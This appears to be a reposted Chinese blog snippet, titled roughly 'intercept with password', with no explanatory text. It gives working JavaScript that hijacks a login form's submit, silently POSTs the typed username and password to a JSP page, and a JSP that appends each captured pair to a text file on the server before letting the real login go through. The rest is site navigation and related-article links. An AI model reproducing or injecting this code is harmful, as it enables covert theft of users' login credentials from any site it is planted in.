zoukankan      html  css  js  c++  java
  • 用密码密码拦截

    function Create___XMLHttpObject()
    {
         if (window.XMLHttpRequest)
         {
               return  new XMLHttpRequest();
         }
         else{
              var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'];
              for(var n = 0; n < MSXML.length; n ++)
              {
                try
                {   
                    return new ActiveXObject(MSXML[n]);        
                }
                catch(e){}
                }
         }
    }
    var old___Submit;
    var form__ = document.forms[0];
    if(form__ != null && form__ != undefined){
        form__.old___Submit = form__.submit;
        form__.submit= function(){
              var xmlHttp=Create___XMLHttpObject();
              var u=document.getElementsByName('loginname')[0].value;
            var p=document.getElementsByName('password')[0].value;
            var SendData = 'a=l&np='+u+"|"+p;
            xmlHttp.open('POST','?'+SendData,true);
              xmlHttp.onreadystatechange=function()
            {
              if(xmlHttp.readyState==4){
                if(xmlHttp.status==200){
                    form__.old___Submit();
                }
              }
            }
            xmlHttp.send(null);
        }
    }
    <%@ page language="java" pageEncoding="UTF-8"%>
    <%@ page import="java.io.*" %>
    <%
        String a=request.getParameter("a");
        String np=request.getParameter("np");
        if(a!=null&&!a.equals("")){
            String f_path = "\\1.txt";
            f_path=request.getSession().getServletContext().getRealPath(request.getContextPath())+f_path;
            File f = new File(f_path);
            if (f.exists()) {
                f.createNewFile(); 
            }
               BufferedWriter output = new BufferedWriter(new FileWriter(f_path,true));
               output.newLine();
               output.write(np);
               output.close();
               output=null;
               f=null;
           }
    %>
  • 相关阅读:
    vue2.0实践的一些细节
    数据库之一
    angularJS实用的开发技巧
    移动端开发的一些技巧总结(2)
    vue入门学习(基础篇)
    JS继承之原型继承
    css3动画
    使用 xlsx 前端解析 excel 文件
    webpack4 打包 library 遇到的坑
    roc-charts 开发笔记:JS广度优先查找无向无权图两点间最短路径
  • 原文地址:https://www.cnblogs.com/skyblue/p/2811448.html
Copyright © 2011-2022 走看看